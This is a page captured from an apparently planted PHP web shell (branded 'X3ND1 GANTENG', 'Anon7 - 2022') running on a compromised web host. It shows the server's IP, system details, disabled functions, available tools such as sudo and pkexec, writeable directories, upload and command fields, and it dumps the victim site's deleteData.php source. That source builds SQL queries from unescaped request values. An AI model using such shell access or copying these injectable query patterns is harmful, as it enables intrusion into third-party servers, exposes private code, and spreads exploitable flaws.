X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 18.117.104.132
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/Intellilead/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/Intellilead/includes/deleteData.php
<?php
class DeleteClass
{
	private $id = "";
	private $status = "";
	private $s_id = "";
	private $arr_ids = array();
	private $multiDelete = false;
	private $mainData = array();
	private $queryData = array();
	private $otherData = array();
	private $filesToDelete = array();
	private $preventData = array();
	private $preventDataMsg = array();
	private $protectFile = array('no_logo.jpg');
	private $foldersToDelete = array();
	private $recordName = 'Record';
	private $response = 'SOMETHING WENT WRONG!';
	private $responseType = 'panel-danger';
	private $unableToDelete = ' Unable To Delete.';
	
	function __construct($id='',$arr_ids='',$haction='',$status='') {
		$id  = checkInput($id!=''?$id:@$_REQUEST['id']);
		$status = checkInput($status!=''?$status:@$_REQUEST['status']);
		$arr_ids  = $arr_ids!=''?$arr_ids:@$_POST['ids'];
		$haction = $haction!=''?$haction:@$_POST['haction'];
		if($id!='' && $status!=''){
			$this->s_id = $id;
			$this->status = $status;
		}
		else if($id!='' && $haction=='Delete1'){
			$this->id = $id;
		}
		else if(count($arr_ids)>0 && $haction=='Delete'){
			$this->arr_ids = $arr_ids;
			$this->multiDelete = true;
		}
	}
	
	function setMainData($table,$idcolumn,$condition=''){
		$this->mainData = array($table,$idcolumn,$condition);
	}
	function setQueryData($table,$idcolumn,$condition='',$message=''){
		$this->queryData[] = array($table,$idcolumn,$condition,$message);
	}
	function setOtherData($table,$idcolumn,$condition=''){
		$this->otherData[] = array($table,$idcolumn,$condition);
	}
	function setFileToDelete($columnName,$filePath){
		$this->filesToDelete[] = array($columnName,$filePath);
	}
	function setFolderToDelete($folderPath){
		if($folderPath!='')
			$this->foldersToDelete[] = $folderPath;
	}
	function setPreventData($id,$message=''){
		if($id!=''){
			$this->preventData[] = $id;
			$this->preventDataMsg[] = $message;
		}
	}
	function setProtectFile($file){
		if($file!='')
			$this->protectFile[] = $file;
	}
	function setRecordName($recordName){
		if(trim($recordName)!='')
			$this->recordName = $recordName;
	}
	function getResponse(){
		return $this->response;
	}
	function getResponseType(){
		return $this->responseType;
	}
	function getPreventMsg($id,$message){
		$pKey = array_search($id,$this->preventData);
		if($pKey!==false && $this->preventDataMsg[$pKey]!='')
			return $this->preventDataMsg[$pKey];
		else
			return $message;
	}
	function deleteFiles($id){
		foreach($this->filesToDelete as $dFile){
			$path = str_replace('<ID>',$id,$dFile[1]);
			$file=getSingleResult("SELECT ".$dFile[0]." FROM ".$this->mainData[0]." WHERE ".$this->mainData[1]."='$id' ".$this->mainData[2]);
			if(!is_dir($path.$file) && is_readable($path.$file) && !in_array($file,$this->protectFile))
				@unlink($path.$file);
		}
	}
	function deleteFolder($id){
		foreach($this->foldersToDelete as $folderToDelete){
			if(strpos($folderToDelete,'<ID>') !== false){
				$folderPath = str_replace('<ID>',$id,$folderToDelete);
				if(!preg_match("#[/\\\]$#", $folderPath))
					$folderPath.='/';
				$this->delTree($folderPath);
			}
		}
	}
	function delTree($target) {
		if (is_readable($target)) {
			if(is_dir($target)){
				$files = glob( $target . '*', GLOB_MARK );
				
				foreach( $files as $file )
				{
					$this->delTree( $file );      
				}
				if (is_readable($target))
					return @rmdir( $target );
			} elseif(is_file($target)) {
				return @unlink( $target );  
			}
		} else
			return false;  
	}
	function deleteEntries($id,$table,$idcolumn,$condition=''){
		if($id!='' && $table!='' && $idcolumn!=''){
			$count = executeUpdate("DELETE FROM `$table` WHERE `$idcolumn`='$id' ".$condition);
			if(is_numeric($count) && $count>0)
				return true;
			else
				return false;
		}else
			return false;
	}
	function isExists($id,$queryData){
		$number = 0;
		foreach($queryData as $qData){
			$count = getSingleResult("SELECT COUNT(`".$qData[1]."`) FROM `".$qData[0]."` WHERE `".$qData[1]."`='$id' ".$qData[2]);
			if(is_numeric($count) && $count>0){
				$number +=$count;
				if($qData[3]!='')
					$this->unableToDelete = ' Please Delete Data From '.$qData[3].'.';
				break;
			}
		}
		if($number>0)
			return true;
		else
			return false;
	}
	function isExistsMulti($arr_ids,$queryData){
		$unableToDelete = array();
		foreach($queryData as $qData){
			$remove_ids = implode("','",$arr_ids);
			if($remove_ids!=''){
				$exist_ids = getSingleColumn("SELECT DISTINCT(`".$qData[1]."`) FROM `".$qData[0]."` WHERE `".$qData[1]."` IN ('".$remove_ids."') ".$qData[2]);
				if(!empty($exist_ids)){
					$arr_ids=array_diff($arr_ids,$exist_ids);
					if($qData[3]!='')
						$unableToDelete[] = $qData[3];
				}
			}else
				break;
		}
		if(!empty($unableToDelete)){
			$this->unableToDelete = ' Please Delete Data From '.implode(', ',$unableToDelete).'.';
		}
		return $arr_ids;
	}
	function checkAction($statusColumn='status'){
		if($this->status!=''){
			if(in_array($this->s_id, $this->preventData)){
				$this->response = $this->getPreventMsg($this->s_id,'Cannot Change Status Of This '.$this->recordName.'!');
				return true;
			}
			$count = executeUpdate("UPDATE `".$this->mainData[0]."` SET `".$statusColumn."`='".$this->status."' WHERE `".$this->mainData[1]."` ='".$this->s_id."' ".$this->mainData[2]);
			if(is_numeric($count) && $count>0){
				$this->response = 'Status Change Successfully';
				$this->responseType = 'panel-success';
			}
			else{
				$this->response = 'Unable To Change Status!';
			}
			return true;
		}else
			return false;
	}
	function executeDelete(){		
		if($this->multiDelete){
			$count_del = 0;
			$total_no = count($this->arr_ids);
			$ids_arr= @array_diff($this->arr_ids,$this->preventData);
			$arr_ids = $this->isExistsMulti($ids_arr,$this->queryData);
			$delete_other = array();
			foreach($arr_ids as $id){
				$this->deleteFiles($id);
				$is_deleted = $this->deleteEntries(checkInput($id),$this->mainData[0],$this->mainData[1],$this->mainData[2]);
				if($is_deleted){
					++$count_del;
					$this->deleteFolder($id);
					//foreach($this->otherData as $oData){
					//	$this->deleteEntries($id,$oData[0],$oData[1],$oData[2]);
					//}
					$delete_other[] = $id;
				}
			}
			$remove_data = implode("','",$delete_other);
			if($remove_data!='')
				foreach($this->otherData as $oData){
					if($oData[0]!='' && $oData[1]!='')
						executeUpdate("DELETE FROM `".$oData[0]."` WHERE `".$oData[1]."` IN ('".$remove_data."') ".$oData[2]);
				}
			$not_deleted = $total_no - $count_del;
			if($count_del>0 && $not_deleted>0){
				$this->response = $count_del.' '.$this->recordName.'(S) Deleted Successfully. '.$not_deleted.' '.$this->recordName.'(S) Are Already In Use!'.$this->unableToDelete;
				$this->responseType = 'panel-warning';
				return true;
			}else if($count_del>0){
				$this->response = $count_del.' '.$this->recordName.'(S) Deleted Successfully';
				$this->responseType = 'panel-success';
				return true;
			}else{
				//$this->response = $not_deleted." ".$this->recordName."(S) Are Already In Use!";
				$this->response = 'Selected '.$this->recordName.'(S) Are Already In Use!'.$this->unableToDelete;
				return false;
			}
		}
		else if($this->id!=''){
			if(in_array($this->id, $this->preventData)){
				$this->response = $this->getPreventMsg($this->id,'This '.$this->recordName.' Is Cannot Be Deleted!');
			}else if(!empty($this->queryData) && $this->isExists($this->id,$this->queryData)){
				$this->response = 'This '.$this->recordName.' Is Already In Use!'.$this->unableToDelete;
			}else{
				$this->deleteFiles($this->id);
				$is_deleted = $this->deleteEntries($this->id,$this->mainData[0],$this->mainData[1],$this->mainData[2]);
				if($is_deleted){
					$this->response = $this->recordName.' Deleted Successfully';
					$this->responseType = 'panel-success';
					$this->deleteFolder($this->id);
					foreach($this->otherData as $oData){
						$this->deleteEntries($this->id,$oData[0],$oData[1],$oData[2]);
					}
					return true;
				}else{
					$this->response = $this->recordName.' Not Deleted!';
					return false;
				}
			}
		}
		return false;
	}
}
?>

Anon7 - 2022
SCDN GOK